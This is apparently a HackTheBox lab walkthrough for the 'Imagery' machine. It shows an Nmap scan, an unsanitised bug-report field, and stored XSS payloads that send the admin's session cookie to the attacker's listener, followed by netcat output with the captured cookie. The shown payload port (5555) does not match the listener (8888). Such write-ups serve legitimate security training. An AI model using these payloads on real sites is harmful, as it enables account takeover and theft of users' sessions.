Imagery | Medium | HackTheBox
Author
Nick Chua
Date Published

We will learn how to root Imagery from HackTheBox, a medium difficulty Linux machine.
Let us start off with our Nmap scan
1sudo nmap -v -p- -sC -sV 10.10.11.88 --open23PORT STATE SERVICE VERSION422/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)5| ssh-hostkey:6| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)7|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)88000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)9| http-methods:10|_ Supported Methods: GET HEAD OPTIONS11|_http-server-header: Werkzeug/3.1.3 Python/3.12.712|_http-title: Image Gallery138001/tcp open http SimpleHTTPServer 0.6 (Python 3.12.7)14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let us visit http://10.10.11.88:8000

We will register for a user account and login. Once we have logged in, we can experiment with the different features such as the Upload function and the Report Bug feature.
Note that the Report Bug feature is only visible after we are logged it, hence it is important to be alert and test all features.

If we were to view the page source, we would observe an unusual amount of javascript on the page source. We can hit Ctrl-F and search for bugreport to locate the function which might be susceptible to cross-site scripting (XSS).
From line 2329, we noticed that the properties of the report were properly sanitised except ${report.details}
1async function loadBugReports() {2 const bugReportsList = document.getElementById('bug-reports-list');3 const noBugReports = document.getElementById('no-bug-reports');45 if (!bugReportsList || !noBugReports) {6 console.error("Error: Admin panel bug report elements not found.");7 return;8 }910 bugReportsList.innerHTML = '';11 noBugReports.style.display = 'none';1213 try {14 const response = await fetch(`${window.location.origin}/admin/bug_reports`);15 const data = await response.json();1617 if (data.success) {18 if (data.bug_reports.length === 0) {19 noBugReports.style.display = 'block';20 } else {21 data.bug_reports.forEach(report => {22 const reportCard = document.createElement('div');23 reportCard.className = 'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center';2425 reportCard.innerHTML = `26 <div>27 <p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>28 <p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>29 <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>30 <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>31 <div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">32 ${report.details}33 </div>34 </div>35 <button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">36 Delete37 </button>38 `;39 bugReportsList.appendChild(reportCard);40 });41 }42 } else {43 showMessage(data.message, 'error');44 }45 } catch (error) {46 console.error('Error loading bug reports:', error);47 showMessage('Failed to load bug reports. Please try again later.', 'error');48 }49}
Whenever we submit a bug, it mentions that the admin would be reviewing it. This gives us an idea to weaponise this stored XSS vulnerability by stealing the session cookie of the admin.
Firstly, let us take a look at what happens when we submit the data Test XSS to both text boxes.
1{2 "bugName":"Test XSS",3 "bugDetails":"Test XSS"4}
Our data is submitted in the form of a JSON. Hence, when weaponising our XSS payload, we have to make sure to escape special character like " which would affect the data represented in JSON.
Our simple PoC would be as follows
1{2 "bugName":"Test XSS",3 "bugDetails":"<img src=1 onerror=\"fetch('http://10.10.14.103:4444/')\">"4}
Our netcat listener is then be able to catch the request because the admin has triggered the stored XSS payload
1┌──(nick㉿kali)-[~]2└─$ nc -nlvp 44443listening on [any] 4444 ...4connect to [10.10.14.103] from (UNKNOWN) [10.10.11.88] 533985GET / HTTP/1.16Host: 10.10.14.103:44447Connection: keep-alive8User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.369Accept: */*10Origin: http://0.0.0.0:800011Referer: http://0.0.0.0:8000/12Accept-Encoding: gzip, deflate13Accept-Language: en-US,en;q=0.9
To get the admin session cookie, we can set our payload as follows
1{2 "bugName":"Test XSS",3 "bugDetails":"<img src=1 onerror=\"window.location='http://10.10.14.103:5555/?c='+document.cookie\">"4}
Our netcat listener has successfully captured the admin session cookie
1┌──(nick㉿kali)-[~]2└─$ nc -nlvp 88883listening on [any] 8888 ...4connect to [10.10.14.103] from (UNKNOWN) [10.10.11.88] 586985GET /?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aWYxNA.sfV2FjeOmwEe4tEveLmHrm-4EQE HTTP/1.16Host: 10.10.14.103:88887Connection: keep-alive8Upgrade-Insecure-Requests: 19User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.3610Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.711Referer: http://0.0.0.0:8000/12Accept-Encoding: gzip, deflate13Accept-Language: en-US,en;q=0.9
We can copy and replace our current session cookie with the admin cookie by going to our browser and Right Click > Inspect > Storage > Cookies. Once we refresh the page, we can see the Admin Panel at the top right of the page.